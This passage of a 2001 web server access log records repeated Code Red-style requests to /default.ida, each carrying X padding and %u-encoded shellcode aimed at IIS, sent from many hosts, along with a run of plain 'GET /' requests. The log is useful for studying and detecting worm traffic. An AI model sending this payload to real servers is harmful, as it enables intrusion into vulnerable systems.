/default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 14:13:28: [62.22.33.169] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 14:19:40: bus211-082.gsb.columbia.edu [128.59.211.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 17:42:28: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 17:47:14: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 18:36:55: [169.207.144.120] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 18:42:05: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 19:57:00: [61.174.145.26] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 20:04:03: [128.121.189.180] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 21:43:10: ag.udel.edu [128.175.126.218] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 21:48:38: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010907 22:26:20: pD9547FB8.dip.t-dialin.net [217.84.127.184] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 00:13:39: [128.11.187.66] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 00:18:10: [128.11.187.66] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 00:19:10: [128.11.187.66] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 00:21:38: [128.11.187.66] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 00:25:15: [128.11.187.66] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 00:27:40: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 00:27:54: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 00:28:31: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 00:32:44: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 00:32:48: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 00:38:09: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 00:38:34: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 00:44:15: dialup-cc2-47.cc.columbia.edu [128.59.58.152] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 00:45:01: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 00:45:13: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 00:52:10: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 00:53:11: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 00:59:19: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 00:59:58: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 01:07:44: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 01:07:58: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 01:15:17: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 01:15:44: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 01:23:24: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 01:23:38: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 01:31:26: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 01:31:45: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 01:35:34: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 01:35:59: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 01:43:01: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 01:43:33: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 01:50:45: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 01:51:09: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 01:58:22: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 01:58:57: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 02:06:43: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 02:06:52: cj700175-c.alex1.va.home.com [24.252.6.136] "GET / HTTP/1.0" 20010908 02:24:06: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 06:12:20: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 07:48:32: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 09:04:35: [63.164.120.10] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 09:04:57: dialup-cc2-32.cc.columbia.edu [128.59.58.137] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 10:05:22: bus211-082.gsb.columbia.edu [128.59.211.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 10:06:11: [195.55.65.97] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 10:13:07: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 11:07:45: bus211-082.gsb.columbia.edu [128.59.211.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 11:34:59: dialup-cc2-70.cc.columbia.edu [128.59.58.175] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 11:37:07: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 12:22:51: dialup-1-32.cc.columbia.edu [128.59.42.41] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 12:40:19: proteus.bio.columbia.edu [128.59.51.82] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 12:40:20: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 12:47:31: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 12:54:16: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 12:57:28: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 13:31:21: dyn-iab-165-49.dyn.columbia.edu [128.59.165.49] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 20010908 